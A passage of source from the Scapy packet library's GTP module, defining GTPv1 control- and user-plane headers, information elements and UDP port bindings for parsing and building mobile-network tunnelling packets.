header\nGTPforcedTypes = {\n    16: GTPHeader,\n    17: GTPHeader,\n    18: GTPHeader,\n    19: GTPHeader,\n    20: GTPHeader,\n    21: GTPHeader,\n    26: GTP_U_Header,\n    27: GTPHeader,\n    254: GTP_U_Header,\n    255: GTP_U_Header\n}\n\n\nclass GTPPDUSessionContainer(Packet):\n    # TS 38.415-g30 sect 5\n    name = \"GTP PDU Session Container\"\n    deprecated_fields = {\n        \"qmp\": (\"QMP\", \"2.4.5\"),\n        \"P\": (\"PPP\", \"2.4.5\"),\n        \"R\": (\"RQI\", \"2.4.5\"),\n        \"extraPadding\": (\"padding\", \"2.4.5\"),\n    }\n    fields_desc = [ByteField(\"ExtHdrLen\", None),\n                   BitEnumField(\"type\", 0, 4,\n                                {0: \"DL PDU SESSION INFORMATION\",\n                                 1: \"UL PDU SESSION INFORMATION\"}),\n                   BitField(\"QMP\", 0, 1),\n                   # UL (type 1)\n                   ConditionalField(BitField(\"dlDelayInd\", 0, 1),\n                                    lambda pkt: pkt.type == 1),\n                   ConditionalField(BitField(\"ulDelayInd\", 0, 1),\n                                    lambda pkt: pkt.type == 1),\n                   # Common\n                   BitField(\"SNP\", 0, 1),\n                   # UL (type 1)\n                   ConditionalField(BitField(\"N3N9DelayInd\", 0, 1),\n                                    lambda pkt: pkt.type == 1),\n                   ConditionalField(XBitField(\"spareUl1\", 0, 1),\n                                    lambda pkt: pkt.type == 1),\n                   # DL (type 0)\n                   ConditionalField(XBitField(\"spareDl1\", 0, 2),\n                                    lambda pkt: pkt.type == 0),\n                   ConditionalField(BitField(\"PPP\", 0, 1),\n                                    lambda pkt: pkt.type == 0),\n                   ConditionalField(BitField(\"RQI\", 0, 1),\n                                    lambda pkt: pkt.type == 0),\n                   # Common\n                   BitField(\"QFI\", 0, 6),  # QoS Flow Identifier\n                   # DL (type 0)\n                   ConditionalField(XBitField(\"PPI\", 0, 3),\n                                    lambda pkt: pkt.type == 0 and\n                                    pkt.PPP == 1),\n                   ConditionalField(XBitField(\"spareDl2\", 0, 5),\n                                    lambda pkt: pkt.type == 0 and\n                                    pkt.PPP == 1),\n                   ConditionalField(XBitField(\"dlSendTime\", 0, 64),\n                                    lambda pkt: pkt.type == 0 and\n                                    pkt.QMP == 1),\n                   ConditionalField(X3BytesField(\"dlQFISeqNum\", 0),\n                                    lambda pkt: pkt.type == 0 and\n                                    pkt.SNP == 1),\n                   # UL (type 1)\n                   ConditionalField(XBitField(\"dlSendTimeRpt\", 0, 64),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.QMP == 1),\n                   ConditionalField(XBitField(\"dlRecvTime\", 0, 64),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.QMP == 1),\n                   ConditionalField(XBitField(\"ulSendTime\", 0, 64),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.QMP == 1),\n                   ConditionalField(XBitField(\"dlDelayRslt\", 0, 32),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.dlDelayInd == 1),\n                   ConditionalField(XBitField(\"ulDelayRslt\", 0, 32),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.ulDelayInd == 1),\n                   ConditionalField(XBitField(\"UlQFISeqNum\", 0, 24),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.SNP == 1),\n                   ConditionalField(XBitField(\"N3N9DelayRslt\", 0, 32),\n                                    lambda pkt: pkt.type == 1 and\n                                    pkt.N3N9DelayInd == 1),\n                   # Common\n                   ByteEnumField(\"NextExtHdr\", 0, ExtensionHeadersTypes),\n                   ConditionalField(\n                       StrLenField(\"padding\", b\"\", length_from=lambda p: 0),\n                       lambda pkt: pkt.NextExtHdr == 0)]\n\n    def guess_payload_class(self, payload):\n        if self.NextExtHdr == 0:\n            sub_proto = orb(payload[0])\n            if sub_proto >= 0x45 and sub_proto <= 0x4e:\n                return IP\n            elif (sub_proto & 0xf0) == 0x60:\n                return IPv6\n            else:\n                return PPP\n        return GTPHeader.guess_payload_class(self, payload)\n\n    def post_dissect(self, s):\n        if self.NextExtHdr == 0:\n            # Padding is handled in this layer\n            length = len(self.original) - len(s)\n            pad_length = (- length) % 4\n            self.padding = s[:pad_length]\n            return s[pad_length:]\n        return s\n\n    def post_build(self, p, pay):\n        # Length\n        if self.NextExtHdr == 0:\n            p += b\"\\x00\" * ((-len(p)) % 4)\n        else:\n            pay += b\"\\x00\" * ((-len(p + pay)) % 4)\n        if self.ExtHdrLen is None:\n            p = struct.pack(\"!B\", len(p) // 4) + p[1:]\n        return p + pay\n\n\nclass GTPEchoRequest(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Echo Request\"\n\n\nclass IE_Base(Packet):\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n    def post_build(self, p, pay):\n        if self.fields_desc[1].name == \"length\":\n            if self.length is None:\n                tmp_len = len(p)\n                if isinstance(self.payload, conf.padding_layer):\n                    tmp_len += len(self.payload.load)\n                p = p[:1] + struct.pack(\"!H\", tmp_len - 4) + p[3:]\n        return p + pay\n\n\nclass IE_Cause(IE_Base):\n    name = \"Cause\"\n    fields_desc = [ByteEnumField(\"ietype\", 1, IEType),\n                   ByteEnumField(\"CauseValue\", None, CauseValues)]\n\n\nclass IE_IMSI(IE_Base):\n    name = \"IMSI - Subscriber identity of the MS\"\n    fields_desc = [ByteEnumField(\"ietype\", 2, IEType),\n                   TBCDByteField(\"imsi\", str(RandNum(0, 999999999999999)), 8)]\n\n\nclass IE_Routing(IE_Base):\n    name = \"Routing Area Identity\"\n    fields_desc = [ByteEnumField(\"ietype\", 3, IEType),\n                   TBCDByteField(\"MCC\", \"\", 2),\n                   # MNC: if the third digit of MCC is 0xf,\n                   # then the length of MNC is 1 byte\n                   TBCDByteField(\"MNC\", \"\", 1),\n                   ShortField(\"LAC\", None),\n                   ByteField(\"RAC\", None)]\n\n\nclass IE_ReorderingRequired(IE_Base):\n    name = \"Recovery\"\n    fields_desc = [ByteEnumField(\"ietype\", 8, IEType),\n                   ByteEnumField(\"reordering_required\", 254, TrueFalse_value)]\n\n\nclass IE_Recovery(IE_Base):\n    name = \"Recovery\"\n    fields_desc = [ByteEnumField(\"ietype\", 14, IEType),\n                   ByteField(\"restart_counter\", 24)]\n\n\nclass IE_SelectionMode(IE_Base):\n    # Indicates the origin of the APN in the message\n    name = \"Selection Mode\"\n    fields_desc = [ByteEnumField(\"ietype\", 15, IEType),\n                   BitEnumField(\"SelectionMode\", \"MS or APN\",\n                                8, Selection_Mode)]\n\n\nclass IE_TEIDI(IE_Base):\n    name = \"Tunnel Endpoint Identifier Data\"\n    fields_desc = [ByteEnumField(\"ietype\", 16, IEType),\n                   XIntField(\"TEIDI\", RandInt())]\n\n\nclass IE_TEICP(IE_Base):\n    name = \"Tunnel Endpoint Identifier Control Plane\"\n    fields_desc = [ByteEnumField(\"ietype\", 17, IEType),\n                   XIntField(\"TEICI\", RandInt())]\n\n\nclass IE_Teardown(IE_Base):\n    name = \"Teardown Indicator\"\n    fields_desc = [ByteEnumField(\"ietype\", 19, IEType),\n                   ByteEnumField(\"indicator\", \"True\", TrueFalse_value)]\n\n\nclass IE_NSAPI(IE_Base):\n    # Identifies a PDP context in a mobility management context specified by TEICP  # noqa: E501\n    name = \"NSAPI\"\n    fields_desc = [ByteEnumField(\"ietype\", 20, IEType),\n                   XBitField(\"sparebits\", 0x0000, 4),\n                   XBitField(\"NSAPI\", RandNum(0, 15), 4)]\n\n\nclass IE_ChargingCharacteristics(IE_Base):\n    # Way of informing both the SGSN and GGSN of the rules for\n    name = \"Charging Characteristics\"\n    fields_desc = [ByteEnumField(\"ietype\", 26, IEType),\n                   # producing charging information based on operator configured triggers.  # noqa: E501\n                   #    0000 .... .... .... : spare\n                   #    .... 1... .... .... : normal charging\n                   #    .... .0.. .... .... : prepaid charging\n                   #    .... ..0. .... .... : flat rate charging\n                   #    .... ...0 .... .... : hot billing charging\n                   #    .... .... 0000 0000 : reserved\n                   XBitField(\"Ch_ChSpare\", None, 4),\n                   XBitField(\"normal_charging\", None, 1),\n                   XBitField(\"prepaid_charging\", None, 1),\n                   XBitField(\"flat_rate_charging\", None, 1),\n                   XBitField(\"hot_billing_charging\", None, 1),\n                   XBitField(\"Ch_ChReserved\", 0, 8)]\n\n\nclass IE_TraceReference(IE_Base):\n    # Identifies a record or a collection of records for a particular trace.\n    name = \"Trace Reference\"\n    fields_desc = [ByteEnumField(\"ietype\", 27, IEType),\n                   XBitField(\"Trace_reference\", None, 16)]\n\n\nclass IE_TraceType(IE_Base):\n    # Indicates the type of the trace\n    name = \"Trace Type\"\n    fields_desc = [ByteEnumField(\"ietype\", 28, IEType),\n                   XBitField(\"Trace_type\", None, 16)]\n\n\nclass IE_ChargingId(IE_Base):\n    name = \"Charging ID\"\n    fields_desc = [ByteEnumField(\"ietype\", 127, IEType),\n                   XIntField(\"Charging_id\", RandInt())]\n\n\nclass IE_EndUserAddress(IE_Base):\n    # Supply protocol specific information of the external packet\n    name = \"End User Address\"\n    fields_desc = [ByteEnumField(\"ietype\", 128, IEType),\n                   #         data network accessed by the GGPRS subscribers.\n                   #            - Request\n                   #                1    Type (1byte)\n                   #                2-3    Length (2bytes) - value 2\n                   #                4    Spare + PDP Type Organization\n                   #                5    PDP Type Number\n                   #            - Response\n                   #                6-n    PDP Address\n                   ShortField(\"length\", 2),\n                   BitField(\"SPARE\", 15, 4),\n                   BitField(\"PDPTypeOrganization\", 1, 4),\n                   XByteField(\"PDPTypeNumber\", None),\n                   ConditionalField(IPField(\"PDPAddress\", RandIP()),\n                                    lambda pkt: pkt.length == 6 or pkt.length == 22),  # noqa: E501\n                   ConditionalField(IP6Field(\"IPv6_PDPAddress\", '::1'),\n                                    lambda pkt: pkt.length == 18 or pkt.length == 22)]  # noqa: E501\n\n\nclass APNStrLenField(StrLenField):\n    # Inspired by DNSStrField\n    def m2i(self, pkt, s):\n        ret_s = b\"\"\n        tmp_s = s\n        while tmp_s:\n            tmp_len = orb(tmp_s[0]) + 1\n            if tmp_len > len(tmp_s):\n                warning(\"APN prematured end of character-string (size=%i, remaining bytes=%i)\" % (tmp_len, len(tmp_s)))  # noqa: E501\n            ret_s += tmp_s[1:tmp_len]\n            tmp_s = tmp_s[tmp_len:]\n            if len(tmp_s):\n                ret_s += b\".\"\n        s = ret_s\n        return s\n\n    def i2m(self, pkt, s):\n        if not isinstance(s, bytes):\n            s = bytes_encode(s)\n        s = b\"\".join(chb(len(x)) + x for x in s.split(b\".\"))\n        return s\n\n\nclass IE_AccessPointName(IE_Base):\n    # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060\n    name = \"Access Point Name\"\n    fields_desc = [ByteEnumField(\"ietype\", 131, IEType),\n                   ShortField(\"length\", None),\n                   APNStrLenField(\"APN\", \"nternet\", length_from=lambda x: x.length)]  # noqa: E501\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            tmp_len = len(p) - 3\n            p = p[:2] + struct.pack(\"!B\", tmp_len) + p[3:]\n        return p\n\n\nclass IE_ProtocolConfigurationOptions(IE_Base):\n    name = \"Protocol Configuration Options\"\n    fields_desc = [ByteEnumField(\"ietype\", 132, IEType),\n                   ShortField(\"length\", 4),\n                   StrLenField(\"Protocol_Configuration\", \"\",\n                               length_from=lambda x: x.length)]\n\n\nclass IE_GSNAddress(IE_Base):\n    name = \"GSN Address\"\n    fields_desc = [ByteEnumField(\"ietype\", 133, IEType),\n                   ShortField(\"length\", None),\n                   ConditionalField(IPField(\"ipv4_address\", RandIP()),\n                                    lambda pkt: pkt.length == 4),\n                   ConditionalField(IP6Field(\"ipv6_address\", '::1'),\n                                    lambda pkt: pkt.length == 16)]\n\n    def post_build(self, p, pay):\n        if self.length is None:\n            tmp_len = len(p) - 3\n            p = p[:2] + struct.pack(\"!B\", tmp_len) + p[3:]\n        return p\n\n\nclass IE_MSInternationalNumber(IE_Base):\n    name = \"MS International Number\"\n    fields_desc = [ByteEnumField(\"ietype\", 134, IEType),\n                   ShortField(\"length\", None),\n                   FlagsField(\"flags\", 0x91, 8, [\"Extension\", \"\", \"\", \"International Number\", \"\", \"\", \"\", \"ISDN numbering\"]),  # noqa: E501\n                   TBCDByteField(\"digits\", \"33607080910\", length_from=lambda x: x.length - 1)]  # noqa: E501\n\n\nclass QoS_Profile(IE_Base):\n    name = \"QoS profile\"\n    # 3GPP TS 24.008 10.5.6.5\n    fields_desc = [ByteField(\"qos_ei\", 0),\n                   ByteField(\"length\", None),\n                   XBitField(\"spare1\", 0x00, 2),\n                   XBitField(\"delay_class\", 0x000, 3),\n                   XBitField(\"reliability_class\", 0x000, 3),\n                   XBitField(\"peak_troughput\", 0x0000, 4),\n                   BitField(\"spare2\", 0, 1),\n                   XBitField(\"precedence_class\", 0x000, 3),\n                   XBitField(\"spare3\", 0x000, 3),\n                   XBitField(\"mean_troughput\", 0x00000, 5),\n                   XBitField(\"traffic_class\", 0x000, 3),\n                   XBitField(\"delivery_order\", 0x00, 2),\n                   XBitField(\"delivery_of_err_sdu\", 0x000, 3),\n                   ByteField(\"max_sdu_size\", None),\n                   ByteField(\"max_bitrate_up\", None),\n                   ByteField(\"max_bitrate_down\", None),\n                   XBitField(\"redidual_ber\", 0x0000, 4),\n                   XBitField(\"sdu_err_ratio\", 0x0000, 4),\n                   XBitField(\"transfer_delay\", 0x00000, 5),\n                   XBitField(\"traffic_handling_prio\", 0x000, 3),\n                   ByteField(\"guaranteed_bit_rate_up\", None),\n                   ByteField(\"guaranteed_bit_rate_down\", None)]\n\n\nclass IE_QoS(IE_Base):\n    name = \"QoS\"\n    fields_desc = [ByteEnumField(\"ietype\", 135, IEType),\n                   ShortField(\"length\", None),\n                   ByteField(\"allocation_retention_prioiry\", 1),\n                   # 3GPP TS 24.008 10.5.6.5\n                   ConditionalField(XBitField(\"spare1\", 0x00, 2),\n                                    lambda p: p.length and p.length > 1),\n                   ConditionalField(XBitField(\"delay_class\", 0x000, 3),\n                                    lambda p: p.length and p.length > 1),\n                   ConditionalField(XBitField(\"reliability_class\", 0x000, 3),\n                                    lambda p: p.length and p.length > 1),\n\n                   ConditionalField(XBitField(\"peak_troughput\", 0x0000, 4),\n                                    lambda p: p.length and p.length > 2),\n                   ConditionalField(BitField(\"spare2\", 0, 1),\n                                    lambda p: p.length and p.length > 2),\n                   ConditionalField(XBitField(\"precedence_class\", 0x000, 3),\n                                    lambda p: p.length and p.length > 2),\n\n                   ConditionalField(XBitField(\"spare3\", 0x000, 3),\n                                    lambda p: p.length and p.length > 3),\n                   ConditionalField(XBitField(\"mean_troughput\", 0x00000, 5),\n                                    lambda p: p.length and p.length > 3),\n\n                   ConditionalField(XBitField(\"traffic_class\", 0x000, 3),\n                                    lambda p: p.length and p.length > 4),\n                   ConditionalField(XBitField(\"delivery_order\", 0x00, 2),\n                                    lambda p: p.length and p.length > 4),\n                   ConditionalField(XBitField(\"delivery_of_err_sdu\", 0x000, 3),\n                                    lambda p: p.length and p.length > 4),\n\n                   ConditionalField(ByteField(\"max_sdu_size\", None),\n                                    lambda p: p.length and p.length > 5),\n                   ConditionalField(ByteField(\"max_bitrate_up\", None),\n                                    lambda p: p.length and p.length > 6),\n                   ConditionalField(ByteField(\"max_bitrate_down\", None),\n                                    lambda p: p.length and p.length > 7),\n\n                   ConditionalField(XBitField(\"redidual_ber\", 0x0000, 4),\n                                    lambda p: p.length and p.length > 8),\n                   ConditionalField(XBitField(\"sdu_err_ratio\", 0x0000, 4),\n                                    lambda p: p.length and p.length > 8),\n                   ConditionalField(XBitField(\"transfer_delay\", 0x00000, 6),\n                                    lambda p: p.length and p.length > 9),\n                   ConditionalField(XBitField(\"traffic_handling_prio\",\n                                              0x000,\n                                              2),\n                                    lambda p: p.length and p.length > 9),\n\n                   ConditionalField(ByteField(\"guaranteed_bit_rate_up\", None),\n                                    lambda p: p.length and p.length > 10),\n                   ConditionalField(ByteField(\"guaranteed_bit_rate_down\",\n                                              None),\n                                    lambda p: p.length and p.length > 11),\n\n                   ConditionalField(XBitField(\"spare4\", 0x000, 3),\n                                    lambda p: p.length and p.length > 12),\n                   ConditionalField(BitField(\"signaling_indication\", 0, 1),\n                                    lambda p: p.length and p.length > 12),\n                   ConditionalField(XBitField(\"source_stats_desc\", 0x0000, 4),\n                                    lambda p: p.length and p.length > 12),\n\n                   ConditionalField(ByteField(\"max_bitrate_down_ext\", None),\n                                    lambda p: p.length and p.length > 13),\n                   ConditionalField(ByteField(\"guaranteed_bitrate_down_ext\",\n                                              None),\n                                    lambda p: p.length and p.length > 14),\n                   ConditionalField(ByteField(\"max_bitrate_up_ext\", None),\n                                    lambda p: p.length and p.length > 15),\n                   ConditionalField(ByteField(\"guaranteed_bitrate_up_ext\",\n                                              None),\n                                    lambda p: p.length and p.length > 16),\n                   ConditionalField(ByteField(\"max_bitrate_down_ext2\", None),\n                                    lambda p: p.length and p.length > 17),\n                   ConditionalField(ByteField(\"guaranteed_bitrate_down_ext2\",\n                                              None),\n                                    lambda p: p.length and p.length > 18),\n                   ConditionalField(ByteField(\"max_bitrate_up_ext2\", None),\n                                    lambda p: p.length and p.length > 19),\n                   ConditionalField(ByteField(\"guaranteed_bitrate_up_ext2\",\n                                              None),\n                                    lambda p: p.length and p.length > 20)]\n\n\nclass IE_CommonFlags(IE_Base):\n    name = \"Common Flags\"\n    fields_desc = [ByteEnumField(\"ietype\", 148, IEType),\n                   ShortField(\"length\", None),\n                   BitField(\"dual_addr_bearer_fl\", 0, 1),\n                   BitField(\"upgrade_qos_supported\", 0, 1),\n                   BitField(\"nrsn\", 0, 1),\n                   BitField(\"no_qos_nego\", 0, 1),\n                   BitField(\"mbms_cnting_info\", 0, 1),\n                   BitField(\"ran_procedure_ready\", 0, 1),\n                   BitField(\"mbms_service_type\", 0, 1),\n                   BitField(\"prohibit_payload_compression\", 0, 1)]\n\n\nclass IE_APNRestriction(IE_Base):\n    name = \"APN Restriction\"\n    fields_desc = [ByteEnumField(\"ietype\", 149, IEType),\n                   ShortField(\"length\", 1),\n                   ByteField(\"restriction_type_value\", 0)]\n\n\nclass IE_RATType(IE_Base):\n    name = \"Rat Type\"\n    fields_desc = [ByteEnumField(\"ietype\", 151, IEType),\n                   ShortField(\"length\", 1),\n                   ByteEnumField(\"RAT_Type\", None, RATType)]\n\n\nclass IE_UserLocationInformation(IE_Base):\n    name = \"User Location Information\"\n    fields_desc = [ByteEnumField(\"ietype\", 152, IEType),\n                   ShortField(\"length\", None),\n                   ByteField(\"type\", 1),\n                   # Only type 1 is currently supported\n                   TBCDByteField(\"MCC\", \"\", 2),\n                   # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte  # noqa: E501\n                   TBCDByteField(\"MNC\", \"\", 1),\n                   ShortField(\"LAC\", None),\n                   ShortField(\"SAC\", None)]\n\n\nclass IE_MSTimeZone(IE_Base):\n    name = \"MS Time Zone\"\n    fields_desc = [ByteEnumField(\"ietype\", 153, IEType),\n                   ShortField(\"length\", None),\n                   ByteField(\"timezone\", 0),\n                   BitField(\"spare\", 0, 6),\n                   XBitField(\"daylight_saving_time\", 0x00, 2)]\n\n\nclass IE_IMEI(IE_Base):\n    name = \"IMEI\"\n    fields_desc = [ByteEnumField(\"ietype\", 154, IEType),\n                   ShortField(\"length\", None),\n                   TBCDByteField(\"IMEI\", \"\", length_from=lambda x: x.length)]\n\n\nclass IE_MSInfoChangeReportingAction(IE_Base):\n    name = \"MS Info Change Reporting Action\"\n    fields_desc = [ByteEnumField(\"ietype\", 181, IEType),\n                   ShortField(\"length\", 1),\n                   ByteField(\"Action\", 0)]\n\n\nclass IE_DirectTunnelFlags(IE_Base):\n    name = \"Direct Tunnel Flags\"\n    # 29.060 7.7.81\n    fields_desc = [ByteEnumField(\"ietype\", 182, IEType),\n                   ShortField(\"length\", 1),\n                   BitField(\"spare\", 0, 5),\n                   BitField(\"EI\", 0, 1),\n                   BitField(\"GCSI\", 0, 1),\n                   BitField(\"DTI\", 0, 1)]\n\n\nclass IE_BearerControlMode(IE_Base):\n    name = \"Bearer Control Mode\"\n    fields_desc = [ByteEnumField(\"ietype\", 184, IEType),\n                   ShortField(\"length\", 1),\n                   ByteField(\"bearer_control_mode\", 0)]\n\n\nclass IE_EvolvedAllocationRetentionPriority(IE_Base):\n    name = \"Evolved Allocation/Retention Priority\"\n    # 29.060 7.7.91\n    fields_desc = [ByteEnumField(\"ietype\", 191, IEType),\n                   ShortField(\"length\", 1),\n                   BitField(\"spare1\", 0, 1),\n                   BitField(\"PCI\", 0, 1),\n                   XBitField(\"PL\", 0x0000, 4),\n                   BitField(\"spare2\", 0, 1),\n                   BitField(\"PVI\", 0, 1)]\n\n\nclass IE_CharginGatewayAddress(IE_Base):\n    name = \"Charging Gateway Address\"\n    fields_desc = [ByteEnumField(\"ietype\", 251, IEType),\n                   ShortField(\"length\", 4),\n                   ConditionalField(IPField(\"ipv4_address\", \"127.0.0.1\"),\n                                    lambda\n                                    pkt: pkt.length == 4),\n                   ConditionalField(IP6Field(\"ipv6_address\", \"::1\"), lambda\n                                    pkt: pkt.length == 16)]\n\n\nclass IE_PrivateExtension(IE_Base):\n    name = \"Private Extension\"\n    fields_desc = [ByteEnumField(\"ietype\", 255, IEType),\n                   ShortField(\"length\", 1),\n                   ByteField(\"extension_identifier\", 0),\n                   StrLenField(\"extention_value\", \"\",\n                               length_from=lambda x: x.length)]\n\n\nclass IE_ExtensionHeaderList(IE_Base):\n    name = \"Extension Header List\"\n    fields_desc = [ByteEnumField(\"ietype\", 141, IEType),\n                   FieldLenField(\"length\", None, length_of=\"extension_headers\"),  # noqa: E501\n                   FieldListField(\"extension_headers\", [64, 192], ByteField(\"\", 0))]  # noqa: E501\n\n\nclass IE_NotImplementedTLV(Packet):\n    name = \"IE not implemented\"\n    fields_desc = [ByteEnumField(\"ietype\", 0, IEType),\n                   ShortField(\"length\", None),\n                   StrLenField(\"data\", \"\", length_from=lambda x: x.length)]\n\n    def extract_padding(self, pkt):\n        return \"\", pkt\n\n\nietypecls = {1: IE_Cause,\n             2: IE_IMSI,\n             3: IE_Routing,\n             8: IE_ReorderingRequired,\n             14: IE_Recovery,\n             15: IE_SelectionMode,\n             16: IE_TEIDI,\n             17: IE_TEICP,\n             19: IE_Teardown,\n             20: IE_NSAPI,\n             26: IE_ChargingCharacteristics,\n             27: IE_TraceReference,\n             28: IE_TraceType,\n             127: IE_ChargingId,\n             128: IE_EndUserAddress,\n             131: IE_AccessPointName,\n             132: IE_ProtocolConfigurationOptions,\n             133: IE_GSNAddress,\n             134: IE_MSInternationalNumber,\n             135: IE_QoS,\n             141: IE_ExtensionHeaderList,\n             148: IE_CommonFlags,\n             149: IE_APNRestriction,\n             151: IE_RATType,\n             152: IE_UserLocationInformation,\n             153: IE_MSTimeZone,\n             154: IE_IMEI,\n             181: IE_MSInfoChangeReportingAction,\n             182: IE_DirectTunnelFlags,\n             184: IE_BearerControlMode,\n             191: IE_EvolvedAllocationRetentionPriority,\n             251: IE_CharginGatewayAddress,\n             255: IE_PrivateExtension}\n\n\ndef IE_Dispatcher(s):\n    \"\"\"Choose the correct Information Element class.\"\"\"\n    if len(s) < 1:\n        return Raw(s)\n    # Get the IE type\n    ietype = orb(s[0])\n    cls = ietypecls.get(ietype, Raw)\n\n    # if ietype greater than 128 are TLVs\n    if cls == Raw and ietype & 128 == 128:\n        cls = IE_NotImplementedTLV\n    return cls(s)\n\n\nclass GTPEchoResponse(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Echo Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, GTPEchoRequest)\n\n\nclass GTPCreatePDPContextRequest(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Create PDP Context Request\"\n    fields_desc = [PacketListField(\"IE_list\", [IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(length=4, ipv4_address=RandIP()),  # noqa: E501\n                                               IE_GSNAddress(length=4, ipv4_address=RandIP()),  # noqa: E501\n                                               IE_NotImplementedTLV(ietype=135, length=15, data=RandString(15))],  # noqa: E501\n                                   IE_Dispatcher)]\n\n\nclass GTPCreatePDPContextResponse(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Create PDP Context Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, GTPCreatePDPContextRequest)\n\n\nclass GTPUpdatePDPContextRequest(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Update PDP Context Request\"\n    fields_desc = [PacketListField(\"IE_list\", [\n        IE_Cause(),\n        IE_Recovery(),\n        IE_TEIDI(),\n        IE_TEICP(),\n        IE_ChargingId(),\n        IE_ProtocolConfigurationOptions(),\n        IE_GSNAddress(),\n        IE_GSNAddress(),\n        IE_GSNAddress(),\n        IE_GSNAddress(),\n        IE_QoS(),\n        IE_CharginGatewayAddress(),\n        IE_CharginGatewayAddress(),\n        IE_CommonFlags(),\n        IE_APNRestriction(),\n        IE_BearerControlMode(),\n        IE_MSInfoChangeReportingAction(),\n        IE_EvolvedAllocationRetentionPriority(),\n        IE_PrivateExtension()],\n        IE_Dispatcher)]\n\n\nclass GTPUpdatePDPContextResponse(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Update PDP Context Response\"\n    fields_desc = [PacketListField(\"IE_list\", None, IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, GTPUpdatePDPContextRequest)\n\n\nclass GTPErrorIndication(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Error Indication\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass GTPDeletePDPContextRequest(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Delete PDP Context Request\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n\nclass GTPDeletePDPContextResponse(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP Delete PDP Context Response\"\n    fields_desc = [PacketListField(\"IE_list\", [], IE_Dispatcher)]\n\n    def answers(self, other):\n        return isinstance(other, GTPDeletePDPContextRequest)\n\n\nclass GTPPDUNotificationRequest(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP PDU Notification Request\"\n    fields_desc = [PacketListField(\"IE_list\", [IE_IMSI(),\n                                               IE_TEICP(TEICI=RandInt()),\n                                               IE_EndUserAddress(PDPTypeNumber=0x21),  # noqa: E501\n                                               IE_AccessPointName(),\n                                               IE_GSNAddress(ipv4_address=\"127.0.0.1\"),  # noqa: E501\n                                               ], IE_Dispatcher)]\n\n\nclass GTPSupportedExtensionHeadersNotification(Packet):\n    name = \"GTP Supported Extension Headers Notification\"\n    fields_desc = [PacketListField(\"IE_list\", [IE_ExtensionHeaderList(),\n                                               ], IE_Dispatcher)]\n\n\nclass GTPmorethan1500(Packet):\n    # 3GPP TS 29.060 V9.1.0 (2009-12)\n    name = \"GTP More than 1500\"\n    fields_desc = [ByteEnumField(\"IE_Cause\", \"Cause\", IEType),\n                   BitField(\"IE\", 1, 12000), ]\n\n\n# Bind GTP-C\nbind_bottom_up(UDP, GTPHeader, dport=2123)\nbind_bottom_up(UDP, GTPHeader, sport=2123)\nbind_layers(UDP, GTPHeader, dport=2123, sport=2123)\nbind_layers(GTPHeader, GTPEchoRequest, gtp_type=1, S=1)\nbind_layers(GTPHeader, GTPEchoResponse, gtp_type=2, S=1)\nbind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type=16)\nbind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type=17)\nbind_layers(GTPHeader, GTPUpdatePDPContextRequest, gtp_type=18)\nbind_layers(GTPHeader, GTPUpdatePDPContextResponse, gtp_type=19)\nbind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type=20)\nbind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type=21)\nbind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type=27)\nbind_layers(GTPHeader, GTPSupportedExtensionHeadersNotification, gtp_type=31, S=1)  # noqa: E501\nbind_layers(GTPHeader, GTP_UDPPort_ExtensionHeader, next_ex=64, E=1)\nbind_layers(GTPHeader, GTP_PDCP_PDU_ExtensionHeader, next_ex=192, E=1)\n\n# Bind GTP-U\nbind_bottom_up(UDP, GTP_U_Header, dport=2152)\nbind_bottom_up(UDP, GTP_U_Header, sport=2152)\nbind_layers(UDP, GTP_U_Header, dport=2152, sport=2152)\nbind_layers(GTP_U_Header, GTPErrorIndication, gtp_type=26, S=1)\nbind_layers(GTP_U_Header, GTPPDUSessionContainer,\n            gtp_type=255, E=1, next_ex=0x85)\nbind_top_down(GTP_U_Header, IP, gtp_type=255)\nbind_top_down(GTP_U_Header, IPv6, gtp_type=255)\nbind_top_down(GTP_U_Header, PPP, gtp_type=255)\n"
  },
  {
    "path": "scapy/contrib/gtp_v2.py",
